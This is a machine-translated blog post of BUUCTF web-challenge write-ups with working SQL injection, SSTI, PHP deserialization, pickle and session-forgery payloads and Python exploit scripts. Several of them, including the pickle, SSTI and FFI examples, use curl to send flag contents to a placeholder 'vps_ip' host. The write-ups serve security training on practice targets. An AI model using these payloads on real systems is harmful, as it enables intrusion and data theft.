当前位置:网站首页>Buu question brushing record - 5
Buu question brushing record - 5
2022-06-12 12:35:00 【Arnoldqqq】
October 2019 Twice SQL Injection
It can be known from the title that it is secondary injection
username =1' union select database() # username =1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' # username =1' union select group_concat(column_name) from information_schema.columns where table_name='flag'# username =1' union select flag from flag # |
[pasecactf_2019]flask_ssti
SSTI Template Injection

{ {()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
[ Yangcheng Cup 2020]easyphp
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nHello, world"); ?> |
The program will delete the current directory except index.php All documents other than , Direct write index.php You have no authority , Consider writing configuration files to automatically load
Add line breaks to the filtered keywords \n Bypass stristr function
Regular can be bypassed by regular backtracking ,pcre.backtrack_limit Parameters to control
PHP5.3.7 Before version, the default value was 10 ten thousand ,PHP5.3.7 After version, the default value is 100 ten thousand . The value can be passed by php.ini Set up
Or use pseudo protocol encoding to bypass
?filename=php://filter/write=convert.base64-decode/resource=example.php&content=PD9waHAgcGhwaW5mbygpOyA/Pg==
?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess
[HarekazeCTF2019]Easy Notes
Need to be for admin Users can get the source code


adopt session To verify ,Session forge + Session Deserialization .
because php session Store in file form , That is, it is possible to forge the file name .

Add note The written files are also saved in this directory , also $filename Satisfy session File name requirements : With sess_ start , And only contains a-z,A-Z,0-9,-

Create a user name of :sess_
Ubuntu Default installed PHP in session.serialize_handler The default setting is php, This kind of engine is characterized by its ready to use | As a key value separator . utilize | You can splice the serialized strings
then Add note Submit title by :|N;admin|b:1;, The result of deserialization is :admin==bool(true)
Last export.php?type=. Can make this . As in the previous . Stitching into .. Is replaced with empty ,$filename That is to say, it has become a standard session The file name has been changed

The file name to be exported sess_ Fill in the following section PHPSESSID Can be deserialized to get flag
Exp:
import re import requests URL = 'http://73eab016-4fc6-4ae8-af01-94a403a4cdaa.node4.buuoj.cn:81/' while True: # login as sess_ sess = requests.Session() sess.post(URL + 'login.php', data={ 'user': 'sess_' }) # make a crafted note sess.post(URL + 'add.php', data={ 'title': '|N;admin|b:1;', 'body': 'hello' }) # make a fake session r = sess.get(URL + 'export.php?type=.').headers['Content-Disposition'] print(r)
sessid = re.findall(r'sess_([0-9a-z-]+)', r)[0] print(sessid)
# get the flag r = requests.get(URL + '?page=flag', cookies={ 'PHPSESSID': sessid }).content.decode('utf-8') flag = re.findall(r'flag\{.+\}', r) if len(flag) > 0: print(flag[0]) break |
[WMCTF2020]Make PHP Great Again
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
/proc/self Pointing to the current process /proc/pid/,/proc/self/root/ It's pointing / The symbolic link
?file=php://filter/convert.base64-encode/resource=etc/../../../../proc/self/cwd/flag.php
etc/../../../../ Go to the root ,/proc/self/cwd That is, the directory where the current process is located
There is also the ability to upload PHP_SESSION_UPLOAD_PROGRESS
Then visit /tmp/sess_xxx, The file contains
The principle is , Conditional competition . If you don't have a clear look at this article session.upload_progress File inclusion and deserialization penetration , because buu Visiting too soon will 429 500 Report errors There is no attempt here
utilize session.upload_progress File inclusion and deserialization penetration : utilize session.upload_progress File inclusion and deserialization penetration - FreeBuf Network security industry portal
#poc.php <!DOCTYPE html> <html> <body> <form action="http://localhost:8000/ctf/wmctf/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html> <?php session_start(); ?> |
[NESTCTF 2019]Love Math 2
XOR the available function name string of the topic or use the given function operation to get the required function
Enter the title and give the source code :
<?php error_reporting(0); // I heard that you like math very much , I don't know if you love it better than love flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ // Example c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { //[NESTCTF 2019]Love Math2 Here the limit length is 60, Use the XOR of this question Payload that will do die(" Too long doesn't count "); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die(" Please don't type strange characters "); } } // Common mathematical functions http://www.w3school.com.cn/php/php_ref_math.asp $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die(" Please don't enter strange functions "); } } // Help you figure out the answer eval('echo '.$content.';'); } |
Limiting conditions :
1. Parameters c The number of characters cannot exceed 60 Characters
2. Can't contain spaces ,\t,\r,\n,\, Single and double quotation marks , brackets
3. Words used / Functions must be in the whitelist
Some symbols that can be used $ ( ) { } = ; ^ etc.
Use mathematical functions to construct variables and splice them into dynamic functions to execute commands , You can also consider using XOR to splice function names .
php The default function name in is string
Use mathematical function operation to get functions and commands
Let's start with the first idea , We can use mathematical functions to obtain function names and commands , Use dynamic functions to execute commands
Put together _GET Use other parameters RCE
Bash
/index.php?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=<command> # this payload exceed 60 Character limit for
analysis :
PHP
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin A string of 16 Binary number to binary string
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs} //{} Can replace []
Put together getallheaders utilize HeaderRCE
getallheaders — Access to all HTTP Request header information
getallheaders For usage, please refer to :PHP: getallheaders - Manual
PHP
/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
stay HTTP Requested Header You can directly add commands to
analysis :
Bash
base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
// operation xx and yy, The middle is separated by commas ,echo Can output
echo xx,yy
Put together exec、system Wait for the command to execute the function directly RCE
Bash
/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
// analysis :exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
/index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
// analysis :system('cat'.dechex(16)^asinh^pi) => system('cat *')
Use XOR to get the function name and command
release Mustapha Mond Master's Fuzz Script :
PHP
<?php $payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; for($k=1;$k<=sizeof($payload);$k++){ for($i = 0;$i < 9; $i++){ for($j = 0;$j <=9;$j++){ $exp = $payload[$k] ^ $i.$j; echo($payload[$k]."^$i$j"."==>$exp"); echo "<br />"; } } } |
With this script, we can use XOR to construct Payload:
Bash
/index.php?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=<command>
[SWPU2019]Web3
Flask The topic , Logging in to any user and clicking upload will prompt that the permission is insufficient , Try signing in admin user , Successfully logged in but still has no permission to upload .
Use p God's script decoding
![]()
Try to modify id, Visit a page that does not exist , The request header will bring out the encryption key Of base64 value
![]()


Enter the upload interface
@app.route('/upload',methods=['GET','POST']) def upload(): if session['id'] != b'1': return render_template_string(temp) if request.method=='POST': m = hashlib.md5() name = session['password'] name = name+'qweqweqwe' name = name.encode(encoding='utf-8') m.update(name) md5_one= m.hexdigest() n = hashlib.md5() ip = request.remote_addr ip = ip.encode(encoding='utf-8') n.update(ip) md5_ip = n.hexdigest() f=request.files['file'] basepath=os.path.dirname(os.path.realpath(__file__)) path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/" path_base = basepath+'/upload/'+md5_ip+'/' filename = f.filename pathname = path+filename if "zip" != filename.split('.')[-1]: return 'zip only allowed' if not os.path.exists(path_base): try: os.makedirs(path_base) except Exception as e: return 'error' if not os.path.exists(path): try: os.makedirs(path) except Exception as e: return 'error' if not os.path.exists(pathname): try: f.save(pathname) except Exception as e: return 'error' try: cmd = "unzip -n -d "+path+" "+ pathname if cmd.find('|') != -1 or cmd.find(';') != -1: waf() return 'error' os.system(cmd) except Exception as e: return 'error' unzip_file = zipfile.ZipFile(pathname,'r') unzip_filename = unzip_file.namelist()[0] if session['is_login'] != True: return 'not login' try: if unzip_filename.find('/') != -1: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' image = open(path+unzip_filename, "rb").read() resp = make_response(image) resp.headers['Content-Type'] = 'image/png' return resp except Exception as e: shutil.rmtree(path_base) os.mkdir(path_base) return 'error' return render_template('upload.html') @app.route('/showflag') def showflag(): if True == False: image = open(os.path.join('./flag/flag.jpg'), "rb").read() resp = make_response(image) resp.headers['Content-Type'] = 'image/png' return resp else: return "can't give you" |
Upload zip Soft link read file
ln -s /proc/self/cwd/flag/flag.jpg 111 zip -ry 111.zip 111 |
Need to be in burp View in

[BSidesCF 2019]Pick Tac Toe
A chess game is connected into a line ,post /move Pass value move=c Start the game and send more bags until there are pieces that can form a line , then move Pass the value of that chess piece id You can turn the chess pieces under the system into your own

X It's a player's piece
[ Geek challenge 2020]Greatphp
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); }
} } } if (isset($_GET['great'])){ unserialize($_GET['great']); } else { highlight_file(__FILE__); } ?> |
In the source code, if you want to execute eval need md5 sha1 The values are all equal It is difficult to do this by collision when strings are different sha1 I don't know if I can collide .
We need to use php The native class of
Error There are __tostring Method ,md5() and sha1() The function will treat the inner string as a string during operation , Pass in a error Class will trigger __tostring()

Because the title uses preg_match The function cannot be called after filtering the parentheses , So we try to direct include "/flag" take flag Just include it ; Because the quotation marks are filtered , We just use url Reverse bypass
<?php class SYCLOVER { public $syc ; public $lover; } $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; // /flag Negation of print($str); $a=new Error($str,1);$b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?> |
[watevrCTF-2019]Pickle Store

A purchase page , The routine is to become admin identity , Add money and buy flag. But here it is. session It is very difficult to forge words .
Session yes base64 Encrypted , After decoding, use pickle Load it

hmac encryption . At this time, we need to change our thinking ,pickle Module has a deserialization vulnerability .
Exp:
import pickle import base64 COMMAND = "curl http://vps_ip/?a=`cat flag.txt |base64`" class A(object): def __reduce__(self): import os return (os.system,(COMMAND,)) print(base64.b64encode(pickle.dumps(A()))) |
Note the need for Linux Generated on the system payload,win Unable to execute command generated on .
The main reason is the module introduced in the first line ,nt yes windows One under the platform python package , For and windows System interaction ,posix It is unix The corresponding package , Topic the target is unix Of , use windows Of payload Natural failure

Start a on the server python Bring your own server
python2 python -m SimpleHTTPServer 3001 python3 python -m http.server 3000 |
Fill in with malice session, Refresh the send request to receive flag


[RootersCTF2019]ImgXweb
Try signing in admin The user prompts that there is already , Register and log in to a user at will , There is a file upload function , There is no use of ideas .
Try session forge admin identity
Scan the directory to get robots.txt, Key file location found /static/secretkey.txt


Replace it with a fake one session Refresh the page

Copy flag Image address ,curl perhaps bp Grab the bag and you'll see flag

[GWCTF 2019] What's your name
This kind of basic template injection of what is submitted and what is displayed .
It's filtered out { { }}, You can use {% %}. But the error report here is PHP The error of , However, it is common to view the server header python Server middleware ,{% 10*10 %} You will also report mistakes. .

There is a blacklist , The operation used here is to use blacklist The last one inside will bypass .
Just add him to other sentences , Then you can bypass other statements .
Script fuzz blacklist The order
import re import requests from time import sleep url = "http://f9fd3c30-c575-4a29-88a3-680ebc168df5.node3.buuoj.cn" def gen_words(): f = open("ssti_payload.txt", "r").read() words = re.findall("[a-zA-Z]+", f) f = open("ssti_word.txt", "w") res = sorted(list(set(words))) for i in res: f.write(i + "\n") return res def find_unused_word(words, payload): used_word = list(set(re.findall("[a-zA-Z]+", payload))) return [i for i in words if i not in used_word] def fuzz(): payload = "{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=`ls /`') %}1{% endif %}" words = gen_words() unused_word = find_unused_word(words, payload) for i in unused_word: data = { "name": i } res = requests.post(url, data=data).text if "hello !" in res: data = { "name": "cla" + i + "ss" } res = requests.post(url, data=data).text if "class" in res: print(f"[*] find {i}") sleep(0.1) if __name__ == "__main__": fuzz() |
Find out config You can use ,if、os、class、mro,config,popen Will be filtered to empty , The idea of double writing bypass
os Use oconfigs,if Use iconfigf,class Use claconfigss,mro Use mrconfigo,popen Use popconfigen
Payload:
{% iconfigf ''.__claconfigss__.__mrconfigo__[2].__subclaconfigsses__()[59].__init__.func_gloconfigbals.linecconfigache.oconfigs.popconfigen('curl http://vps_ip:7999/ -d `cat /flag_1s_Hera |base64`') %}1{% endiconfigf %} |
The server nc monitor ,base64 Decode it
[BSidesCF 2020]Hurdles
Too many steps , You can meet the conditions step by step according to the topic , Reference resources :BUUCTF [BSidesCF 2020] Hurdles_Senimo-CSDN Blog
Payload:
curl -i -X PUT "http://node4.buuoj.cn:25851/hurdles/!?get=flag&%26%3D%26%3D%26=%2500%0a" -u "player:54ef36ec71201fdf9d1423fd26f97f6b" -A "1337 Browser v.9000" -H "X-Forwarded-For:13.37.13.37,127.0.0.1" -b "Fortune=6265" -H "Accept:text/plain" -H "Accept-Language:ru;" -H "origin:https://ctf.bsidessf.net" -H "Referer:https://ctf.bsidessf.net/challenges" |

[RCTF 2019]Nextphp
You can execute commands directly ,phpinfo View disabled functions , Found that there are still directory restrictions , And the functions commonly used to bypass directory restrictions are ban, Unable to read directly flag



At the same time, notice FFI support = enabled, You can use ffi Call directly C Functions written in language
After the ant sword is connected, a class file is found , Can be used for deserialization

<?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'print_r', 'arg' => '1' ]; private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { throw new \Exception('No implemented'); } } |
The result of the command execution here will not be echoed , It can be used VPS receive flag
Final payload:
http://bf7b5f38-404e-42b9-bb13-d6dfae80765e.node4.buuoj.cn:81/?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('curl http://vps_ip:7999/ -d `cat /flag |base64`'); |

[CSAWQual 2016]i_got_id
The title is perl A web page file written by (.pl), View the file upload point , The tip is Perl Upload files .
Possible backend code
use strict; use warnings; use CGI; my $cgi= CGI->new; if ( $cgi->upload( 'file' ) ) { my $file= $cgi->param( 'file' ); while ( <$file> ) { print "$_"; } } |
among my $file= $cgi->param( 'file' );:
param() Function returns a list of files . But only the first file will be put into file variable .
while ( <$file> ) in ,<> Cannot process string , Unless it is ARGV, So loop through and use... For each value open()
call .
For reading files , If you pass in a ARGV The file of , that Perl The parameters passed in will be read out as file names .
therefore , Add a file upload item before the uploaded normal file ARGV, And then in URL Pass in the file path parameter , You can read any file

virink_2019_files_share
given flag Address

visit /upload There is a file upload But it's all about furnishings , Click directly 404

visit /uploads/

On the left preview The format is /preview?f= The attempt file contains a vulnerability , Due to the use of OpenResty, Try to include nginx Configuration file for , The default is /etc/nginx/conf.d/default.conf, There are also filters

Double write bypass is OK

/preview?f=....//....//....//....//....//....//....//f1ag_Is_h3re..//flag

[PASECA2019]honey_shop
Buy flag The topic Old ways session forge

The homepage has a function of clicking to download pictures ,/download?image=../../proc/self/environ

obtain python Version and key, Modify the amount of money with script

Fill in the forged session after , Click to buy

EasyBypass
Command line injection attack , The final command is shown in the figure


[XDCTF 2015]filemanager
This question seems to upload files , In fact, it's mainly the use of sql Inject and modify the specified file name, and then the suffix in the database is null
/www.tar.gz Download the source code
The field structure of the database is

At the same time, the code is limited by the white list , So you can't upload malicious files , Due to version limitation, you can't use %00 truncation , But there's one rename function , Only the filename can be modified , But it can go through sql Inject , Affect its extension It's empty , Add... When modifying the file .php suffix

First upload one for sql Injected file

Change file name

The new file name is test2.txt.txt But in the database update sentence
update `file` set `filename`='test2.txt', `oldname`='',extension=’’ where `fid`={$result['fid']}"
filename by test2.txt Of extension It's empty

Upload another one and above newname Trojan file with the same file name

Change the file name to test2.php At this time $result["extension"] Has been emptied by injection


After successfully writing the horse , Read flag that will do

[HITCON 2016]Leaking
"use strict"; var randomstring = require("randomstring"); var express = require("express"); var { VM } = require("vm2"); var fs = require("fs"); var app = express(); var flag = require("./config.js").flag app.get("/", function(req, res) { res.header("Content-Type", "text/plain"); /* Orange is so kind so he put the flag here. But if you can guess correctly :P */ eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";") if (req.query.data && req.query.data.length <= 12) { var vm = new VM({ timeout: 1000 }); console.log(req.query.data); res.send("eval ->" + vm.run(req.query.data)); /*Get Pass a data Parameters , Put it on vm2 Run in the created sandbox , And the length of the parameter passed in is limited , No more than 12, Here you can use arrays to bypass */ } else { res.send(fs.readFileSync(__filename).toString()); } }); app.listen(3000, function() { console.log("listening on port 3000!"); }); |
In the earlier node.js In the version (8.0 Before ), When Buffer When a number is passed into the constructor of , You will get one that matches the length of the number Buffer, And this Buffer It is not cleared .8.0 Later versions can use another function Buffer.allocUnsafe(size) To get the memory that has not been emptied .
If you use new Buffer(size) Or its alias Buffer(size)) establish , Then the object is not filled with zero , As long as it is a variable that has been called , It must be in memory , So we need to use Buffer() To read memory , Use data=Buffer(1000) Allocate one 1000 The unit is 8 Bit byte of buffer
Related links :notes/Buffer-knows-everything.md at master · ChALkeR/notes · GitHub
Payload:
# encoding=utf-8 import requests import time url = 'http://c84cccca-d5cb-454d-8b73-be2b64356539.node4.buuoj.cn:81/?data=Buffer(500)' response = '' while 'flag' not in response: req = requests.get(url) response = req.text print(req.status_code) time.sleep(0.1) if 'flag{' in response: print(response) break |
[watevrCTF-2019]Supercalc
A calculator software , Because the input formula will be echoed , Consider the existence of template injection .

Input the template injected directly { { }} {% %} The server will report an error
Input 1/0 This kind of calculator is difficult to handle , Let the program report an error

Input 1/0#{ {10*10}} Found successful execution payload

1/0#{ {config}} Read configuration file , At the same time, we can see that there are still session, After decoding, it is found that the previous records have passed session Store , Attempt to forge session To carry out an order

python flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"ls\").read()'}]}"

take session Refresh after filling

python flask_session_cookie_manager3.py encode -s "cded826a1e89925035cc05f0907855f7" -t "{'history': [{'code': '__import__(\"os\").popen(\"cat flag.txt\").read()'}]}"
Read flag, By the way, look at the back-end code .
server.py:
import time import traceback import sys from flask import Flask, render_template, session, request, render_template_string from evalfilter import validate app = Flask(__name__) app.secret_key = "cded826a1e89925035cc05f0907855f7" def format_code(code): if "#" in code: code = code[: code.index("#")] return code @app.route("/", methods=["GET", "POST"]) def index(): if not session.get("history"): session["history"] = [] if request.method == "POST": result = validate(request.form["code"]) if not result[0]: return result[1] session["history"].append({"code": result[1]}) if len(session["history"]) > 5: session["history"] = session["history"][1:] session.modified = True try: eval(request.form["code"]) except: error = traceback.format_exc(limit=0)[35:] session["history"][-1]["error"] = render_template_string( f'Traceback (most recent call last):\n File "somewhere", line something, in something\n result = {request.form["code"]}\n{error}' ) history = [] for calculation in session["history"]: history.append({**calculation}) if not calculation.get("error"): history[-1]["result"] = eval(calculation["code"]) return render_template("index.html", history=list(reversed(history))) if __name__ == "__main__": app.run(host="0.0.0.0", port=8000) |
evalfilter.py:
import ast whitelist = [ ast.Module, ast.Expr, ast.Num, ast.UnaryOp, ast.UAdd, ast.USub, ast.Not, ast.Invert, ast.BinOp, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.FloorDiv, ast.Mod, ast.Pow, ast.LShift, ast.RShift, ast.BitOr, ast.BitXor, ast.BitAnd, ast.MatMult, ast.BoolOp, ast.And, ast.Or,
ast.Compare, ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE, ast.Is, ast.IsNot, ast.In, ast.NotIn, ] operators = {
ast.UAdd: "+", ast.USub: "-", ast.Not: "not ", ast.Invert: "~", ast.Add: " + ", ast.Sub: " - ", ast.Mult: " * ", ast.Div: " / ", ast.FloorDiv: " // ", ast.Mod: " * ", ast.Pow: " ** ", ast.LShift: " << ", ast.RShift: " >> ", ast.BitOr: " | ", ast.BitXor: " ^ ", ast.BitAnd: " & ", ast.MatMult: " @ ", ast.And: " and ", ast.Or: " or ", ast.Eq: " == ", ast.NotEq: " != ", ast.Lt: " < ", ast.LtE: " <= ", ast.Gt: " > ", ast.GtE: " >= ", ast.Is: " is ", ast.IsNot: " is not ", ast.In: " in ", ast.NotIn: " not in ", } def format_ast(node): if isinstance(node, ast.Expression): code = format_ast(node.body) if code[0] == "(" and code[-1] == ")": code = code[1:-1] return code if isinstance(node, ast.Num): return str(node.n) if isinstance(node, ast.UnaryOp): return operators[node.op.__class__] + format_ast(node.operand) if isinstance(node, ast.BinOp): return ( "(" + format_ast(node.left) + operators[node.op.__class__] + format_ast(node.right) + ")" ) if isinstance(node, ast.BoolOp): return ( "(" + operators[node.op.__class__].join( [format_ast(value) for value in node.values] ) + ")" ) if isinstance(node, ast.Compare): return ( "(" + format_ast(node.left) + "".join( [ operators[node.ops[i].__class__] + format_ast(node.comparators[i]) for i in range(len(node.ops)) ] ) + ")" ) def check_ast(code_ast): for _, nodes in ast.iter_fields(code_ast): if type(nodes) != list: nodes = [nodes] for node in nodes: if node.__class__ not in whitelist: return False, node.__class__.__name__ if not node.__class__ == ast.Num: result = check_ast(node) if not result[0]: return result return True, None def validate(code): if len(code) > 512: return False, "That's a bit too long m8" if "__" in code: return False, "I dont like that long floor m8" if "[" in code or "]" in code: return False, "I dont like that 3/4 of a rectangle m8" if '"' in code: return False, "I dont like those two small vertical lines m8" if "'" in code: return False, "I dont like that small vertical line m8" try: code_ast = ast.parse(code, mode="eval") except SyntaxError: return False, "Check your syntax m8" except ValueError: return False, "Handle your null bytes m8" result = check_ast(code_ast) if result[0]: return True, format_ast(code_ast) return False, f"You cant use ast.{result[1]} m8" |
[FBCTF2019]Event
Unable to register login admin, User registration any user login ,

After logging in, there are two session, Decode and view

event_important Template injection exists , Get the secret key , Then regenerate the signature cookie
event_name=1&event_address=2&event_important=__class__.__init__.__globals__[app].config

Using scripts to forge :
from flask import Flask from flask.sessions import SecureCookieSessionInterface app = Flask(__name__) app.secret_key = b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y' session_serializer = SecureCookieSessionInterface().get_signing_serializer(app) @app.route('/') def index(): print(session_serializer.dumps("admin")) index() |
With this session Click on Admin panel You get flag 了
[PwnThyBytes 2019]Baby_SQL
SQL Inject , Check the source code and find the source code , Download audit


It only took addslashes Processed POST and GET Parameters , Common methods of bypassing escape symbols cannot be used here .
Notice in templates Under the PHP There is a sentence in the document :!isset($_SESSION) AND die("Direct access on this script is not allowed!");
$_SESSION Array in session_start() After initialization, the system generates . So go straight to templates Under the php When you file ,$_SESSION There is no such thing as . Direct in SESSION utilize PHP SESSION A feature of : If in php.ini Set in session.auto_start=On, that PHP Each processing PHP Files will be automatically executed session_start(), however session.auto_start The default is Off. And Session Another related option is session.upload_progress.enabled, The default is On, On the premise that this option is turned on, we are multipart POST When it comes to PHP_SESSION_UPLOAD_PROGRESS,PHP Will execute session_start()( Please refer to here ).


Write a script to test if Try again Can be injected
import requests url = "http://992a85f8-142f-4e5a-a871-0ca4ede3577d.node4.buuoj.cn:81" files = {"file": "123456789"} a = requests.post(url=url+"/templates/login.php", files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}, params={'username': 'test', 'password': 'test'}, proxies={'http': url}) print(a.text) |

Blind note Exp:
import requests import time url = "http://e483a533-b5a5-48a3-ad4f-f5648771a037.node4.buuoj.cn:81/templates/login.php" files = {"file": "123456789"} ''' field value ''' flag='' for i in range(1,100): low = 32 high = 128 mid = (low+high)//2 while (low < high): time.sleep(0.06) #payload_database ={'username': 'test" or (ascii(substr((select database()),{0},1))>{1}) #'.format(i, mid),'password': 'test'} #payload_table ={'username': 'test" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\'ptbctf\'),{0},1))>{1}) #'.format(i, mid),'password': 'test'} #payload_column ={'username': "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'flag_tbl\' ),{0},1))>{1}) #".format(i, mid),'password': 'test'} payload_flag = { 'username': "test\" or (ascii(substr((select group_concat(secret) from flag_tbl ),{0},1))>{1}) #".format(i,mid),'password': 'test'} r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}, cookies={"PHPSESSID": "test1"}) print(payload_flag) if '<meta http-equiv="refresh" content="0; url=?p=home" />' in r.text: low = mid +1 else: high = mid mid = (low + high) // 2 if(mid==32 or mid == 132): break flag +=chr(mid) print(flag) print(flag) |
[ Yangcheng Cup 2020]Blackcat
Get the source code according to the comments , stay mp3 At the bottom of the file

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){ die(' who ! How dare you step on the tail of my ear !'); } $clandestine = getenv("clandestine"); if(isset($_POST['White-cat-monitor'])) $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine); $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine); if($hh !== $_POST['Black-Cat-Sheriff']){ die(' Deliberately aim at , No intention to strike , Your dream is what you aim for . Believe in yourself , You're the bullet that hit the bull's-eye .'); } echo exec("nc".$_POST['One-ear']); |
The key is to make the second hash The encrypted value is the same as Black-Cat-Sheriff The values are equal .
because $clandestine Out of control , It is almost impossible to know the value after two encryptions , but hash_hmac The function cannot process arrays , if White-cat-monitor Pass in array , Then the value after one encryption is null, Make the value of secondary encryption controllable .

Payload:
White-cat-monitor[]=K1ose&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env |

[BSidesCF 2019]Mixer


That's the fake identity login , There's another. user cookie, Modify at will user cookie But the length cannot be changed , The format of data obtained by error reporting

Guess it is ECB encryption , Because changing the previous ciphertext will not affect the subsequent decryption . It is not available here iv, It can't be forged directly
To be admin Only need to 0 Change it to 1 that will do , and 1.00000000 == 1, because ECB Each piece does not affect each other , So as long as the encrypted value of the second block is spliced to the position of the penultimate block .

Account number A1.00000000000000 xxxx Sign in , What will be obtained cookie To deal with ( Each time the engine is turned on iv Different , The encrypted ones are different , Go to login to get cookie)
cookie = 'd064b8ff2bb64b9634713e9e688801b091ac09485edaeddc00d282dd07ab1ac22da0792cb5e30e9d4112f0764823d54a85c62e925f7907205606d6ecd8d53ca0ce7dc4196bea0c20d37e653db2e0511e' cookie1 = cookie[:-32]+cookie[32:64]+cookie[-32:] print(cookie1) |
Take this cookie Just log in

边栏推荐
- 检测vector是否有交集
- Object. Detailed explanation of assign()
- Lightweight ---project
- vtk 图像序列鼠标交互翻页
- this.$ How to solve the problem when refs is undefined?
- Backtracking, eight queens
